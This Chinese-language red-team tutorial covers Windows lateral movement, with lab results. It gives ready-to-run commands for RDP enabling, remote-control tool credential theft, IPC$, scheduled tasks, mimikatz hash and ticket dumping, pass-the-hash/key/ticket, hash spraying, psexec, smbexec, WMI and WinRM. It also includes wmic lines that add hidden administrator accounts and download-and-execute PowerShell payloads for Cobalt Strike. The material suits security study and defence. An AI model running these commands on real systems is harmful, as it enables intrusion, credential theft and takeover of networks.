概述
横向移动指的是攻击者在内部网络中获得初始访问权限之后,通过相关技术扩大敏感数据和高价值资产权限的行为。
横向移动的方式有如下几种:
- 通过Web漏洞;
- 通过远程桌面;
- 通过账户密码;
- 通过不安全的配置;
- 通过系统漏洞;
利用远控工具横向
通过远程桌面横向
概述
远程桌面协议(RDP)是一个多通道(multi-channel)的协议,让使用者(所在计算机称为用户端或“本地计算机”)连上提供微软终端机服务的计算机(称为服务端或“远程计算机”)。
利用条件
- 开启了3389端口;
- 防火墙等安全设备允许通行;
- 网络必须相通;
- 有账户名和密码(或者HASH值);
查询3389端口开放情况
netstat -ano
手动开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
注意:该命令需要高权限用户
查询远程桌面是否为3389端口
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /V PortNumber
连接RDP
1、通过密码抓取技术,如果可以抓取到明文的账户名和密码,则可以直接进行连接;
2、如果没有抓取到明文的账户名和密码,则需要通过HASH值进行连接;
privilege::debug
sekurlsa::pth /user:用户名 /domain:IP地址 /ntlm:Hash值 "/run:mstsc.exe /restrictedadmin"
1、通过cs等工具拿到计算机用户对应的hash值
2、使用mimikatz工具进行hash传递(最好使用server 2016进行)
privilege::debug
sekurlsa::pth /user:administrator /domain:192.168.110.10 /ntlm:db40247dab331ac57c207032f198f364 "/run:mstsc.exe /restrictedadmin"
输入目标的IP地址
通过Todesk横向
概述
ToDesk是一款类似向日葵的远程控制软件,但比向日葵、TV和AD更为流畅和稳定,它同样具备着内网穿透、文件传输、云端同步和流量加密等功能。
Todesk有绿色精简版和全功能版两个版本,支持的系统有:Winodws/Linux/MacOS/Android/iOS。
操作
shell type C:\"Program Files (x86)"\ToDesk\config.ini
通过GotoHTTP横向
概述
使用远程控制时,不必在每一台电脑上都安装远程软件。
不同于传统C2C模式的远程控制工具,GotoHTTP工作在B2C模式。使用远程控制时,您不必在每一台电脑上都安装远程软件。不管身处何处,有浏览器就能访问远程电脑。 即使公司网络管控,仍然可以控制或被控制。支持文件传输、无人值守、剪切板同步、语音通话、远程摄像头、多显示器支持 …
官网网址:GotoHTTP - 在线远程控制平台
下载地址:GotoHTTP - 免费下载
操作
1、将GotoHTTP工具上传到目标机器
2、运行上传的工具
3、在同目录下会生成GotoHTTP的配置文件,文件里面有连接地址和账户密码
查看配置文件
4、在Web页面进行连接
通过RustDesk横向
概述
RustDesk 是一款可以平替 TeamViewer 的开源软件,旨在提供安全便捷的自建方案。
官网地址:https://rustdesk.com/zh/
下载地址:https://github.com/rustdesk/rustdesk/releases/latest或者https://gitee.com/rustdesk/rustdesk/releases
操作
1、上传程序到目标机器
2、运行程序
3、默认路径下的配置文件在C:\Users\用户名\AppData\Roaming\RustDesk\config
RustDesk.toml文件里面保存了连接ID和密码,读取该文件
shell type C:\Users\administrator\AppData\Roaming\RustDesk\config\RustDesk.toml
密码为空
4、如果没有看到密码,则需要先将原RustDesk.toml文件下载,在password处添加6位数密码,再将文件进行上传
添加6位数密码,保存
再上传到原位置,进行覆盖
5、关闭RustDesk进程,再启动RustDesk程序
查询进程PID
shell tasklist
结束进程
shell taskkill /PID 332 /F
启动程序
再次查看RustDesk.toml文件
shell type C:\Users\administrator\AppData\Roaming\RustDesk\config\RustDesk.toml
6、连接目标机器
IPC$横向
概述
IPC$
IPC(Internet process connection)共享,为了实现进程间通信而开放的命名管道。
IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理和查看计算机的共享资源时使用。通过IPC$可以与目标机器建立连接,不仅可以访问目标机器的文件进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目标结构、用户列表等信息。
共享文件
文件共享指的是主动在网络上共享自己计算机中的文件,默认共享是为了方便管理员进行远程管理而默认开启的。
逻辑磁盘默认都是处于共享状态的。
访问的命令格式为
\\IP地址\磁盘符$
注意:如果当前计算机A的用户账户是administrator,目标机器B上的账户也是administrator,且密码相同,则不需要输入密码就可以访问,默认会用本地账户密码进行认证。
\\192.168.110.20\c$
IPC$连接方式
用户组连接
net use \\IP\ipc$ "password" /user:"username"
域用户连接
net use \\域名\ipc$ "域成员密码" /user:域名\域成员账户
删除ipc$连接
net use \\IP\ipc$ /del
利用条件
1、开启了139、445端口
IPC$可以实现远程登录及对默认共享资源的访问,445端口可以实现对共享文件打印机的访问,一般来讲需要445端口的支持。
2、管理员开启了默认共享
默认共享是为了访问管理员进行远程管理而默认开启的,包括所有的逻辑盘可以实现对这些默认共享目录的访问。
3、必须得知道对方机器的用户名和密码
注意:在内网中,很多计算机的账户密码都是一样的,故可以通过抓取本地计算机的账户密码,然后和对方的电脑进行IP连接
相关命令
查看共享资源
net share
删除C盘的共享
net share c$ /del
设置共享盘的名字
net share xbxaq=D:\ #设置D盘共享,共享名字为xbxaq
不同权限下的命令
IPC$建立连接之后,可执行系列命令:
查看远程计算机的盘符目录
dir \\IP\c$
查询远程计算机上的进程
tasklist /S IP地址
查看远端计算机上的文件内容
type \\IP\c$\文件路径
查询远端计算机上的时间
net time \\IP地址
将本地计算机的文件复制到远端计算机
copy 文件 \\IP地址\C$
不同权限下执行相同的命令
不同权限/命令 | dir | type | net time | copy |
---|---|---|---|---|
administrator | 可以 | 可以 | 可以 | 可以 |
普通管理员 | 不可以 | 不可以 | 可以 | 不可以 |
普通用户 | 不可以 | 不可以 | 可以 | 不可以 |
域管理员 | 可以 | 可以 | 可以 | 可以 |
普通域用户 | 不可以 | 不可以 | 可以 | 不可以 |
域administrator | 不可以(只能和域控) | 不可以(只能和域控) | 不可以(只能和域控) | 不可以(只能和域控) |
与计划任务配合横向
利用计划任务功能,可以将任何脚本、程序或者文档安排在某个最方便的时间运行,计划任务在每次系统启动的时候启动并在后台运行。
计划任务在Windows XP电脑上使用at命令,Windows XP之后的电脑使用的是schtasks命令
#远程创建计划任务
schtasks /create /s 192.168.110.20 /u administrator /p a1b2c3.. /tn test
/tr c:/1.txt /sc onstart /RU System /F
schtasks /create /s 192.168.110.20 /tn test /tr c:/1.txt /sc onstart /RU System
/F
#运行计划任务
schtasks /run /s IP地址 /u username /p password /i /tn "计划任务名称"
#删除计划任务
schtasks /delete /s IP地址 /u username /p password /tn "计划任务名称" /f
注意:建立IPC认证之后,如果当前的用户是administrator,则不再需要账户密码
与Windows服务配合横向
Microsoft Windows 服务(即 以前的NT服务),能够创建在它们自己的Windows会话中且可长时间运行可执行的应用服务。
相关命令
创建服务
sc \\IP地址 create test binpath= "cmd.exe /c c:\xbxaq.exe"
binpath= "cmd.exe /c c:\xbxaq.exe" ===> 通过cmd程序运行在C盘下面的xbxaq.exe
开启服务
sc \\IP地址 start test
删除服务
sc \\IP地址 delete test
与盘符映射横向
盘符映射就是将远程的共享磁盘映射到自己的电脑上,在已经建立IPC$连接的前提下,可以使用以下这个命令进行盘符映射。
net use 本地盘符:\\IP地址\远程的盘符$
例如:
net use k:\\192.168.110.10\c$
将ip10计算机上的C盘映射到本地的K盘上
PTH哈希传递
原理及条件
PTH概述
PTH(pass the hash),中文称之为哈希传递攻击,在NTLM和Kerberos认证中,都需要使用用户的NTLM-Hash值进行加密认证,所以知道了对方用户的NTLM-Hash值之后就可以使用PTH进行认证。
在域环境中,用户登录计算机时一般使用的都是域账户,大量计算机在安装时会使用相同的本地管理员账户和密码。
如果计算机的本地管理员账户和密码也是相同的,故攻击者就可以使用哈希传递攻击这种方法登录内网中其他计算机。
PTH原理-NTLM认证中
response是如何生成的呢?
response = NTProofStr+blob两部分组成的
-
NTProofStr:NTLM-v2-hash值和challenge+blob进行HMAC-MD5加密的
NTLM-v2-hash值:大写的用户名+域名编码成Unicode格式,然后和密码的NTLM-HASH值进行HMAC-MD5加密
-
blob是由时间、目标信息、随机填充字符等生成
PTH原理-kerberos认证中
AS-REQ(AS-requests)主要包含用户的身份信息,由客户端发送给AS的数据包,其中有几个重要信息:
-
PA-DATA pA-ENC-TIMESTAMP:使用用户的hash值或者AES key加密时间戳生成的key
PA-DATA pA-PAC-REQUEST:是否包含有pac(PAC 包含用户的SID、用户所在组等信息)
-
kdc-options:协商字段
-
cname:请求的用户名
-
realm:域名
-
sname:请求的服务名
条件
1、有管理员的NTLM Hash值
2、目标机器开放了445端口
哪些用户可以进行PTH
- 域管理员 administrator
- 普通域管理员(admin domain组中的用户)
- 普通域用户
- 本地管理员 administrator
- 本地普通管理员
- 本地普通用户
不同用户下的PTH区别
本地账户测试环境
机器环境
- Windows server 2003
- Windows server 2008
- Windows server 2012
- Windows server 2016
- Windows 10
各一台
账户准备
- 每台机器创建相同的账户
user.bat
@echo off
net user administrator /active:yes
net user administrator A1b2c3d4.@.
net user xbxaq Z1x2c34@! /add
net localgroup administrators xbxaq /add
net user test 23zxCv@.ABc /add
- administrator 超级管理员
- xbxaq 本地管理员
- test 普通用户
抓取每个账号HASH值
mimikatz命令
privilege::debug
token::elevate
lsadump::sam
administrator
Hash NTLM:f952cdd9583547bdbb1502d2b6060afc
xbxaq
Hash NTLM:fa4afe3f359c5ed2932c6abcc5439568
test
Hash NTLM:4f3c171070a3f75632f4a972f5291b6a
PTH哈希传递
mimikatz工具
privilege::debug
sekurlsa::pth /user:用户名 /domain:域名或者IP /ntlm:ntl
执行成功后,会弹出cmd窗口,可使用IPC$进行验证是否传递成功
使用administrator的账号进行hash传递
sekurlsa::pth /user:administrator /domain:192.168.146.134 /ntlm:f952cdd9583547bdbb1502d2b6060afc
传递成功
sekurlsa::pth /user:xbxaq /domain:192.168.146.134 /ntlm:fa4afe3f359c5ed2932c6abcc5439568
传递失败
本地账户传递
超级管理员 hash值传递
机器型号 | 账户名 | 结果 |
---|---|---|
Windows server 2003 | administrator | 成功 |
Windows server 2008 | administrator | 成功 |
Windows server 2012 | administrator | 成功 |
Windows server 2016 | administrator | 成功 |
Windows 10 | administrator | 成功 |
普通管理员 hash值传递
机器型号 | 账户名 | 结果 |
---|---|---|
Windows server 2003 | xbxaq | 成功 |
Windows server 2008 | xbxaq | 失败 |
Windows server 2012 | xbxaq | 失败 |
Windows server 2016 | xbxaq | 失败 |
Windows 10 | xbxaq | 失败 |
普通用户 hash值传递
机器型号 | 账户名 | 结果 |
---|---|---|
Windows server 2003 | test | 失败 |
Windows server 2008 | test | 失败 |
Windows server 2012 | test | 失败 |
Windows server 2016 | test | 失败 |
Windows 10 | test | 失败 |
总结
administrator账户可以进行PTH传递,本地普通管理员只可以在Windows server 2003 、XP中进行PTH传递,本地普通用户不可以进行PTH传递。
域内账户测试环境
账户
- administrator 域内超级管理员
- xbxaqsec 域普通管理员组,密码为Abc321@.zxc
- test 域内普通用户组,密码为zbXAS12@34
抓取HASH值
使用mimikatz工具读取所有用户的hash值
lsadump::dcsync /domain:xbxaq.com /all /csv
hash值
用户名 | hash值 |
---|---|
administrator | db40247dab331ac57c207032f198f364 |
xbxaqsec | 29702c72ab196dd8712b96f8dd5db1c3 |
test | 1cf629e4627ef393d59c36957524e9d4 |
hash传递
psexec.exe 域名/账户名@目标机器名 -hashes lmhash值:nthash值
lmhash默认为禁用状态,aad3b435b51404eead3b435b51404ee
例如对Windows server 2008机器使用administrator用户进行hash传递
psexec.exe xbxaq/administrator@zhangsan.xbxaq.com -hashes aad3b435b51404eead3b435b51404ee:db40247dab331ac57c207032f198f364
传递成功
psexec.exe xbxaq/test@zhangsan.xbxaq.com -hashes aad3b435b51404eead3b435b51404ee:1cf629e4627ef393d59c36957524e9d4
传递失败
域内账户传递
域超级管理员 hash值传递
机器型号 | 账户名 | 结果 |
---|---|---|
Windows server 2003 | xbxaq\administrator | 成功 |
Windows server 2008 | xbxaq\administrator | 成功 |
Windows server 2012 | xbxaq\administrator | 成功 |
Windows server 2016 | xbxaq\administrator | 成功 |
Windows 10 | xbxaq\administrator | 成功 |
域普通管理员 hash值传递
机器型号 | 账户名 | 结果 |
---|---|---|
Windows server 2003 | xbxaq\xbxaqsec | 成功 |
Windows server 2008 | xbxaq\xbxaqsec | 成功 |
Windows server 2012 | xbxaq\xbxaqsec | 成功 |
Windows server 2016 | xbxaq\xbxaqsec | 成功 |
Windows 10 | xbxaq\xbxaqsec | 成功 |
域普通用户 hash值传递
机器型号 | 账户名 | 结果 |
---|---|---|
Windows server 2003 | xbxaq\test | 失败 |
Windows server 2008 | xbxaq\test | 失败 |
Windows server 2012 | xbxaq\test | 失败 |
Windows server 2016 | xbxaq\test | 失败 |
Windows 10 | xbxaq\test | 失败 |
总结
域内administrator和普通管理员可以进行PTH传递,域内普通用户不可以进行PTH传递(默认)。
Hash值批量碰撞
内网中,系统在安装的时候,一般会采用统一的账户和密码,当我们获取到一台电脑的hash值之后,可以使用hash碰撞的方式,找出拥有相同账户密码的计算机。
这里主要介绍两种方法
power shell脚本
Invoke-TheHash,可以通过把NTLM hash传递给NTLM v2身份验证协议进行身份验证的攻击套件。
执行该脚本不需要本地管理员权限
条件:power shell 2.0及以上
用法:
Import-Module .Invoke-TheHash.ps1 (导入批量模块)
Import-Module .Invoke-WMIExec.ps1 (导入wmi模块)
Invoke-TheHash -Type WMIExec -Target 192.168.110.0/24 -Username administrator -Hash db40247dab331ac57c207032f198f364
CS上执行Invoke-TheHash脚本
1、先将Invoke-TheHash.zip通过文件管理上传
2、再上传unzip.exe小工具
3、通过unzip.exe对powershell脚本进行解压缩
4、进入 Invoke-TheHash目录执行以下命令
shell powershell -exec bypass -command "& { import-module .\Invoke-TheHash.psd1; Invoke-TheHash -Type WMIExec -Target 192.168.110.0/24 -Username administrator -Hash db40247dab331ac57c207032f198f364}"
crackmapexec工具
crackmapexec也可以进行批量碰撞
crackmapexec.exe 192.168.110.0/24 -u administrator -H aad3b435b51404eead3b435b51404ee:db40247dab331ac57c207032f198f364
PTH认证CS上线
需要实验机器关闭防火墙
1、
2、选择需要上线的主机IP地址,右键jump,点击psexec
3、选择所需要使用的用户名
密码就是用户名对应的hash值,Domain就是目标主机的IP地址,再分别选中监听器与会话
点击开始等待上线
Mimikatz工具进行PTH
相关命令
privilege::debug
sekurlsa::pth /user:用户名 /domain:域名或者IP /ntlm:ntlm-hash
执行完成之后会弹出一个cmd
可以利用这个cmd命令执行程序,配合copy、计划任务或添加服务等方式进行上线。
privilege::debug
sekurlsa::pth /user:administrator /domain:192.168.110.10 /ntlm:db40247dab331ac57c207032f198f364
利用PTH进行远程桌面
开启远程桌面的命令
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
Mimikatz命令
privilege::debug
sekurlsa::pth /user:用户名 /domain:域名或IP地址 /ntlm:hash值 "/run:mstsc.exe /restrictedadmin"
例如:
sekurlsa::pth /user:administrator /domain:192.168.110.10 /ntlm:db40247dab331ac57c207032f198f364 "/run:mstsc.exe /restrictedadmin"
PTK密钥传递
概述
PTK(Pass The Key),中文称之为密钥传递攻击。在PTH密钥传递攻击中,使用的是NTLM-HASH值。PTK密钥传递攻击中使用的是AES256或者AES128的方式,PTK攻击只能用于Kerberos协议认证。
原理
在kerberos协议中 PTK攻击原理
AS-REQ(AS-requests)主要包含用户的身份信息,由客户端发送给AS的数据包,其中有几个重要信息:
-
PA-DATA pA-ENC-TIMESTAMP:使用用户的hash值或者AES key加密时间戳生成的key
PA-DATA pA-PAC-REQUEST:是否包含有pac(PAC 包含用户的SID、用户所在组等信息)
-
kdc-options:协商字段
-
cname:请求的用户名
-
realm:域名
-
sname:请求的服务名
AES KEY
AES KEY是kerberos协议中所使用的,所以一般域用户才有AES KEY。
AES分为两种 aes256和aes128,本地用户是没有aes key的
获取key的值
Mimikatz工具相关命令
privilege::debug
sekurlsa::ekeys
没有加入域环境
加入了域环境
条件
- 域环境
- 支持aes进行认证
KB2871997补丁
Microsoft发布了KB2871997补丁,它主要囊括了Windows 8.1和Windows Server 2012 R2中增强的安全保护机制。
所以,以往的例如:Windows 7,Windows 8,Windows Server 2008R2和Windows Server2012也可以更新该补丁后获得上述安全保护机制。
介绍增强的安全保护机制中有如下部分几点:
- 减少存储在内存中的凭据数据
- 支持现代身份验证(Kerberos AES)
上线
概述
PTK本质是一种认证,这种认证不具有攻击性。如果一些特殊账号的key被攻击者获取并利用PTK传递攻击,攻击者可以生成对应账户的 TGT票据,然后将票据导入到内存中,那么就可以访问目标的计算机。
使用getTGT工具申请TGT,将TGT导入到内存中,实现访问目标计算机,后续配合计划任务、添加服务等工具就可进行CS上线。
操作
1、使用mimikatz工具获取aes key值
privilege::debug
log
sekurlsa::ekeys
提示:在获取key值之前可以生成日志文件,便于查看。
administrator的key值为a6f84b64a0e722cd6bbff472a56d30132f9459f07e7d4a558a1c726ddba1f14f
2、生成TGT
使用getTGT工具进行生成
getTGT.exe 域名/用户名 -aesKey key值
getTGT.exe xbxaq.com/administrator -aesKey a6f84b64a0e722cd6bbff472a56d30132f9459f07e7d4a558a1c726ddba1f14f
执行成功之后,会生成一个.ccache的文件
3、将TGT注入到内存中
使用mimikatz工具
Kerberos::ptc 票据名字
mimikatz kerberos::ptc administrator.ccache
查看票据
mimikatz kerberos::list
4、访问域控上的c盘
接下来就是接合copy、计划任务、添加服务等技术使得目标机器上线。
PTT票据传递
概述
PTT(Pass The Ticket),票据传递攻击,PTT攻击只能用于Kerberos认证,PTT是通过票据进行认证的。
注意:进行票据的传递,不需要提权,域用户或者system用户即可。
原理
在认证中主要涉及两个票据:TGT与ST
如何获取这两票据呢
- 域账户明文密码
- 域账户的NTLM-HASH
- 域账号的AES
- 直接伪造
- 系统漏洞
- 系统本身就存在票据(mimikatz工具命令 Sekurlsa::tickets /export 可导出票据)
三种传递
- PTH,NTLM-HASH值进行认证,支持Kerberos与NTLM认证
- PTK,AES值进行认证,只能用于Kerberos认证
- PTT,票据进行认证,只能用于Kerberos认证
条件
- 域环境
- 相应的票据(主要为域管理员票据)
不同用户权限票据进行认证
申请不同票据进行传递
1、利用getTGT工具进行账户密码申请票据
getTGT.exe xbxaq.com/administrator:a1b2c3d4..
2、使用mimikatz进行票据加载
kerberos::ptc administrator.ccache
3、访问域控的c盘
4、查看本地票据
cmd中执行klist
清除本地票据
cmd中执行 klist purge
mimikatz中执行 kerberos::purge
5、利用copy、计划任务、添加服务等方法进行CS上线
administrator 域超级管理员
计算机版本 | 结果 |
---|---|
Windows server 2008 R2 | 可以 |
Windows server 2012 R2(域控) | 可以 |
Windows server 2016 R2 | 可以 |
xbxaq 普通域管理员
计算机版本 | 结果 |
---|---|
Windows server 2008 R2 | 可以 |
Windows server 2012 R2(域控) | 可以 |
Windows server 2016 R2 | 可以 |
test 域普通用户
计算机版本 | 结果 |
---|---|
Windows server 2008 R2 | 不可以 |
Windows server 2012 R2(域控) | 不可以 |
Windows server 2016 R2 | 不可以 |
其他横向工具
PSexec
概述
psexec工具是微软提供的pstools工具集合中的一款远程命令行工具,psexec工具不需要对方计算机开放3389端口,只需要对方计算机开启admin 共享和 i p c 共享和ipc 共享和ipc(依赖于445端口和135端口)
微软官方下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
常用命令
psexec.exe \\IP地址 -u username -p password -s cmd.exe #交互式shell
psexec.exe \\IP地址 -u username -p password -i -w c:\ cmd 进入交互式cmd,且c:\ 为目标机器的工作目录
psexec.exe \\IP地址 -u username -p password -d -i c:\beacon.exe 执行C盘下的beacon.exe
psexec.exe \\IP地址 -u username -p password -h -i -d c:\beacon.exe 以UAC的用户权限执行文件
更多使用方法:https://learn.microsoft.com/zh-cn/sysinternals/downloads/psexec
当前环境两台Windows server 2008计算机
工作原理
当我们允许psexec工具之后,流量是怎么个事呢?
命令为:
psexec.exe \\192.168.110.8 -u administrator -p a1b2c3.. -s cmd
1、使用提供的账户和密码进行NTLM协议认证
2、认证成功之后,连接IPC , a d m i n ,admin ,admin共享文件,以此将psexesvc.exe上传到c:/windows目录下
3、调用svcctl并创建PSEXESVC服务,该服务是由psexesvc.exe程序运行的。
4、调用服务创建命名管道
命名管道基于smb协议通信,用来让两个进程间进行通信的命名管道,类似于socket连接,用来传输数据。
注意:psexec工具会在目标机器上留下大量的日志,因为会涉及创建服务和相关认证
SMBexec
概述
2013年在defcon大会中首次提出smbexec,该工具支持明文认证、NTLM认证、aeskey认证等方式
相关命令
smbexec.exe username:password@IP地址
工具原理
大致流程如下:
- 建立IPC$连接
- 通过服务执行命令
- 将命令存储在%temp%/execute.bat文件中
- 运行execute.bat文件,将结果存储在C:/_output文件中
- 删除execute.bat文件
- 通过客户端读取目标机器的C:/_output文件内容
用提供的账户和密码进行NTLM协议认证
在数据包中过滤输入的命令 ipconfig
%COMSPEC% /Q /c echo ipconfig ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
WMI命令
概述
WMI为Windows在power shell未发布之前,微软用于管理Windows系统的数据库工具,WMI本身的架构就是一个数据库架构,WMI服务使用DCOM或者WinRM协议。
在使用wmiexec进行横向移动的时候,Windows操作系统默认不会将WMI的操作记录在日志中,因此很多APT组织都使用WMI进行攻击。
相关命令
命令 | 作用 |
---|---|
wmic nicconfig get ipaddress,macaddress | 查看系统中网卡的IP地址和MAC地址 |
wmic ntdomain list brief | 域控机器 |
wmic useraccount list brief | 用户列表 |
wmic share get name,path | 查看系统共享 |
wmic service list brief|more | 服务列表 |
wmic start list full | 识别开机启动的程序,包括路径 |
wmic fsdir “c:\test” call delete | 删除C盘下的test目录 |
wmic nteventlog get path,filename,writeable | 查看系统中开启的日志 |
… | … |
其他操作命令
1、执行命令并且进行输出
wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process call create "cmd.exe /c ipconfig >c:\ip.txt"
2、列出远程主机的进程
wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process list brief
3、在远程计算机中执行BAT脚本
wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process call create c:\test.bat
4、添加用户
wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process call create "cmd.exe /c net user test A1b2c3d4.. /add && net localgroup administrators test /add"
5、执行powershell脚本上线
wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process call create "powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('PS脚本地址'))\""
RPC协议
DCERPC为Windows系统中非常基础的通信协议,DCERPC比RDP协议更为普遍,默认为开启状态,内容丰富,接口众多。
DCERPC协议的默认端口为135
RPC协议-OXIDResolve接口 流量分析
使用的wmic命令为
wmic /node:192.168.110.8 /user:administrator /password:a1b2c3.. process call create "cmd.exe /c ipconfig >c:\ip.txt"
第一个数据包分析,该数据包表明利用了RPC协议调用的接口为OXIDResolve
第二个数据包分析,目标机器返回的数据包中包含了确认信息
第三个数据包分析,利用dcom发起OXID接口的请求数据包
第四个数据包分析,OXID接口返回的数据,包含了工作组名字、域名、IP地址、IPV6地址等等
RPC协议-OXIDResolve接口规则
1、该接口的访问是未授权的(并没有进行认证,只要使用RPC调用OXID接口即可)
2、该接口可以得到目标机器的相关机器信息(机器名、IP地址、网卡等信息)
课外阅读:https://nosec.org/home/detail/4709.html 与 https://github.com/komomon/Dcerpc_Find_OSInfo/blob/main/Dcerpc_Find_OSInfo.py
RPC协议-NTLMSSP
ntlmssp服务主要针对RPC(远程过程调用),RPC有两种通信方式可以选择。一种为传输协议(TCP/IP、UDP等),第二种为命名管道(pipeline)。
通常情况下Windows默认都会选择传输协议,而由于RPC协议采用非加密传输 ,通信双方数据无法保证安全,而ntlmssp就是为此类RPC提供安全服务。
分析第一个数据包,包含认证方式等信息
分析第二个数据包,由于该接口是远程调用接口,故需要进行认证。这里使用的是NTLM挑战响应认证,数据包为challenge值,且包含自己主机相关信息(包含了域名、机器名、DNS域名等信息)
第三个数据包分析,response值,用于认证
第四个数据包分析,认证成功之后接着远程调用isystem mactivator接口,remotecreateinstance函数作用为实际对象创建对象引用。
WMI横向利用条件
1、wmic命令需要本地管理员或者域管理员权限(有UAC权限的用户也可以)
2、端口135、445开放(部分脚本需要借助SMB认证)
利用WMI横向进行上线
1、利用机器自带wmic的命名(建议使用,自带的命令没有使用其它协议认证,也没有连接共享,不依赖于默认共享,并且可以过杀软)
wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process call create "cmd.exe /c net user test A1b2c3.. /add && net grouplocal administrators test /add"
wmic /node:192.168.110.8 /user:administrator /password:a1b2c3.. process call create "cmd.exe /c net user test A1b2c3.. /add && net grouplocal administrators test /add"
192.168.110.7
192.168.110.8
执行powershell上线
wmic /node:IP地址 /user:本地管理员或者域管理员 /password:密码 process call create "powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('ps脚本地址'))\""
2、wmiexec工具
由于该工具会走SMB认证和访问共享等行为,一般情况下杀软会进行拦截
相关命令格式:
wmiexec.exe <域名/>用户名:密码@目标IP地址 #希传递获得shell
wmiexec.exe <域名/>用户名:密码@目标IP地址 "ipconfig" #执行ipconfig这条命令
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP地址 #哈希传递获得shell
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP地址 #执行ipconfig这条命令
3、wmiexec.vbs脚本通过VBS调用WMI模拟psexec的功能,可以在远程系统中执行命令并且进行回显,获得远程主机的半交互式shell。
wmiexec.vbs支持两种模式,一种是半交互式shell模式,一种是执行单条命令
cscript.exe //nologo wmiexec.vbs /cmd IP地址 用户名 密码 "执行的命令"
例如:
cscript.exe //nologo wmiexec.vbs /cmd 192.168.110.8 administrator a1b2c3.. "powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('powershell脚本地址'))\""
4、Invoke-WMIexec脚本
用法:
Import-Module .\Invoke-WMIExec.ps1
Invoke-WMIExec -Target IP地址 -Domain 域名 -Username 用户名 -Hash hash值 -Command "执行的命令" -verbose
WinRM服务
概述
WinRM是Windows Remote Managementd(Windows远程管理)的简称,它基于Web服务管理(WebService-Management)标准,WinRM2.0默认端口5985(HTTP端口)或5986(HTTPS端口)。
如果所有的机器都是在域环境下,则可以使用默认的5985端口,否则的话需要使用HTTPS传输(5986端口)。
WinRM允许远程用户使用工具和脚本对Windows服务器进行管理并获取数据,Windows server 2008 r2默认开启此服务,server 2012开始并集成在系统中默认开启,家庭版的计算机是默认关闭。
这种远程连接不容易被客户端察觉,也不会占用远程连接数。
官方文档:https://learn.microsoft.com/en-us/windows/win32/winrm/portal
开启WinRM服务
powershell 运行 enable-psremoting或者cmd运行winrm quickconfig(高权限用户执行)
查询本计算机的端口状态
运行WinRM
两种方式,一种为winrs命令,一种为powershell脚本
winrs命令方式
winrs -r:http://目标机器IP地址:5985 -u:机器名\用户名 -p:password "执行的命令"
winrs -r:http://目标机器IP地址:5985 -u:机器名\用户名 -p:password cmd #调用cmd命令
winrs -r:http://192.168.110.6:5985 -u:administrator -p:a1b2c3.. "ipconfig"
当出现以上错误时,要在客户端上执行下面这条命令,设置为信任所有主机,再去连接即可,执行这条命令
winrm set winrm/config/Client @{TrustedHosts="*"}
再次连接
powershell脚本
Invoke-Command 是 PowerShell 上的一个命令,用来在本地或远程计算机上执行命令
Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ }
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -command {命令}
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -ScriptBlock {Get-Culture}
Invoke-Command -ComputerName 192.168.110.6 -Credential administrator -Command {ipconfig}
流量分析
执行命令的同时进行wireshark抓包
winrs -r:http://192.168.110.6:5985 -u:administrator -p:a1b2c3.. "whoami"
首先观察挑战值数据包,在http协议中authenticate经过了加密,其中包含了挑战值还有访问机器的相关OS信息
再观察response值数据包
认证通过后,HTTP协议通过POST传输数据,data中就是具体的数据,不过进行了加密
winrm通信特征
- 默认情况下,winrm使用TCP端口5985(HTTP)和5986(HTTPS)进行通信
- winrm支持不同类型的身份验证和安全协议,如基本身份验证、NTLM和kerberos